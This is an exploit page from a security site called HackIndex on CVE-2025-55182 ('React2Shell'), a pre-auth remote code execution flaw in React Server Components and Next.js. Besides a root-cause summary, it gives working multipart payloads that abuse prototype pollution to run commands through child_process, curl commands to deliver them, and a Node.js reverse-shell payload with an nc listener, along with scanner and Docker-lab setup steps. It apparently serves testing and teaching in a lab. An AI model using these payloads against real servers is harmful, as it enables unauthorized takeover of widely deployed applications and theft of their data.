Skip to content
HackIndex logo

HackIndex

CVE-2025-55182:
React2Shell

Published: Feb 21, 2026
Critical
Marshaling, Unmarshaling

Unauthenticated pre-auth RCE in React Server Components (RSC) Flight protocol. Root cause: unsafe deserialization of client-submitted payloads, allowing prototype pollution to reach the Node.js Function constructor.

Affects default Next.js apps (App Router), even without explicit server actions. Standard create-next-app production builds are vulnerable out of the box. Also hits Waku, React Router RSC, etc.

Affected packages:

  • react-server-dom-webpack

  • react-server-dom-parcel

  • react-server-dom-turbopack

React RCE

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

assetnote/react2shell-scanner
High Fidelity Detection Mechanism for RSC/Next.js RCE
View repository (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/assetnote/react2shell-scanner
┌──(kali㉿kali)-[~]
└─$ cd react2shell-scanner
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv
┌──(kali㉿kali)-[~]
└─$ activate
┌──(kali㉿kali)-[~]
└─$ pip3 install -r requirements.txt
┌──(kali㉿kali)-[~]
└─$ python3 scanner.py -u $TARGET_URL
brought to you by assetnote

[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled

[VULNERABLE] http://127.0.0.1:3001 - Status: 303

============================================================
SCAN SUMMARY
============================================================
  Total hosts scanned: 1
  Vulnerable: 1
  Not vulnerable: 0
  Errors: 0
============================================================

First create the form data payload which executes a sum of "1337 * 46" which should return 61502 on a valid execution. First this example we will save the contents bellow in check_payload.txt

------WebKitFormBoundaryHackIndex.io
Content-Disposition: form-data; name="0"

{
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B0\"}",
    "_response": {
        "_prefix": "var res=process.mainModule.require('child_process').execSync('echo $((68616369*1000000+646578))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
        "_chunks": "$Q2",
        "_formData": {
            "get": "$1:constructor:constructor"
        }
    }
}
------WebKitFormBoundaryHackIndex.io
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryHackIndex.io
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryHackIndex.io--

After making this file you can execute:

┌──(kali㉿kali)-[~]
└─$ curl -i -X POST $TARGET_URL -H "next-action: arbitrary" -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHackIndex.io" --data-binary @check_payload.txt
HTTP/1.1 303 See Other
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
cache-control: private, no-cache, no-store, max-age=0, must-revalidate
x-action-revalidated: [[],0,0]
x-action-redirect: /login?a=68616369646578;push
content-type: text/x-component
date: Fri, 02 Jan 2026 10:59:10 GMT
x-nextjs-cache: HIT
x-nextjs-prerender: 1
X-Powered-By: Next.js
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

1:"$Sreact.fragment"
2:I[5244,[],""]
3:I[3866,[],""]
4:I[6213,[],"OutletBoundary"]
6:I[6213,[],"MetadataBoundary"]
8:I[6213,[],"ViewportBoundary"]
0:{"b":"EwekG_GehDMNhjkEEzcZ6","f":[[["",{"children":["/_not-found",{"children":["__PAGE__?{\"a\":\"68616369646578\"}",{}]}]},"$undefined","$undefined",true],["",["$","$1","c",{"children":[null,["$","html",null,{"lang":"en","children":["$","body",null,{"style":{"margin":0,"fontFamily":"-apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif","backgroundColor":"#f7fafc","color":"#2d3748","minHeight":"100vh"},"children":["$","$L2",null,{"parallelRouterKey":"children","segmentPath":["children"],"error":"$undefined","errorStyles":"$undefined","errorScripts":"$undefined","template":["$","$L3",null,{}],"templateStyles":"$undefined","templateScripts":"$undefined","notFound":[["$","title",null,{"children":"404: This page could not be found."}],["$","div",null,{"style":{"fontFamily":"system-ui,\"Segoe UI\",Roboto,Helvetica,Arial,sans-serif,\"Apple Color Emoji\",\"Segoe UI Emoji\"","height":"100vh","textAlign":"center","display":"flex","flexDirection":"column","alignItems":"center","justifyContent":"center"},"children":["$","div",null,{"children":[["$","style",null,{"dangerouslySetInnerHTML":{"__html":"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}"}}],["$","h1",null,{"className":"next-error-h1","style":{"display":"inline-block","margin":"0 20px 0 0","padding":"0 23px 0 0","fontSize":24,"fontWeight":500,"verticalAlign":"top","lineHeight":"49px"},"children":"404"}],["$","div",null,{"style":{"display":"inline-block"},"children":["$","h2",null,{"style":{"fontSize":14,"fontWeight":400,"lineHeight":"49px","margin":0},"children":"This page could not be found."}]}]]}]}]],"notFoundStyles":[]}]}]}]]}],{"children":["/_not-found",["$","$1","c",{"children":[null,["$","$L2",null,{"parallelRouterKey":"children","segmentPath":["children","/_not-found","children"],"error":"$undefined","errorStyles":"$undefined","errorScripts":"$undefined","template":["$","$L3",null,{}],"templateStyles":"$undefined","templateScripts":"$undefined","notFound":"$undefined","notFoundStyles":"$undefined"}]]}],{"children":["__PAGE__",["$","$1","c",{"children":[[["$","title",null,{"children":"404: This page could not be found."}],["$","div",null,{"style":"$0:f:0:1:1:props:children:1:props:children:props:children:props:notFound:1:props:style","children":["$","div",null,{"children":[["$","style",null,{"dangerouslySetInnerHTML":{"__html":"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}"}}],["$","h1",null,{"className":"next-error-h1","style":"$0:f:0:1:1:props:children:1:props:children:props:children:props:notFound:1:props:children:props:children:1:props:style","children":"404"}],["$","div",null,{"style":"$0:f:0:1:1:props:children:1:props:children:props:children:props:notFound:1:props:children:props:children:2:props:style","children":["$","h2",null,{"style":"$0:f:0:1:1:props:children:1:props:children:props:children:props:notFound:1:props:children:props:children:2:props:children:props:style","children":"This page could not be found."}]}]]}]}]],null,["$","$L4",null,{"children":"$L5"}]]}],{},null]},null]},null],["$","$1","h",{"children":[["$","meta",null,{"name":"robots","content":"noindex"}],["$","$1","mzpLlEeFTUGHBkxAi3Aih",{"children":[["$","$L6",null,{"children":"$L7"}],["$","$L8",null,{"children":"$L9"}],null]}]]}]]],"S":false}
9:[["$","meta","0",{"name":"viewport","content":"width=device-width, initial-scale=1"}]]
7:[["$","meta","0",{"charSet":"utf-8"}],["$","title","1",{"children":"React2Shell Lab - Vulnerable Next.js App"}],["$","meta","2",{"name":"description","content":"Minimal vulnerable app for CVE-2025-55182 testing"}]]
5:null

Look for the x-action-redirect header containing ?a=68616369646578, which is the sum of our payload (68616369*1000000+646578)

Basic reverse shell (Linux/Windows compatible):

Start listener first:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LISTENER_PORT

Then create the shell exploit payload as form-data—saving it, for example, as shell_payload.txt—and be sure to include your listener IP and port, like this:

------WebKitFormBoundaryHackIndex.io
Content-Disposition: form-data; name="0"

{
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B0\"}",
    "_response": {
        "_prefix": "var net = process.mainModule.require('net'), cp = process.mainModule.require('child_process'), sh = cp.spawn('/bin/sh', []); var client = new net.Socket(); client.connect(YOUR_LISTENER_PORT, 'YOUR_LISTENER_IP', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;",
        "_chunks": "$Q2",
        "_formData": {
            "get": "$1:constructor:constructor"
        }
    }
}
------WebKitFormBoundaryHackIndex.io
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryHackIndex.io
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryHackIndex.io--

and then send this payload to the React app with:

┌──(kali㉿kali)-[~]
└─$ curl -i -X POST $TARGET_URL -H "next-action: arbitrary" -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHackIndex.io" --data-binary @shell_payload.txt

If the command runs successfully, you won’t get any response, and the curl command will hang—this is expected behavior. After this you can interact with the reverse shell in your listener.

Docker lab

Lab repository
HackIndex-io/React2Shell-CVE-2025-55182
View repository (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/HackIndex-io/React2Shell-CVE-2025-55182.git
┌──(kali㉿kali)-[~]
└─$ cd React2Shell-CVE-2025-55182
┌──(kali㉿kali)-[~]
└─$ docker compose up --build --force-recreate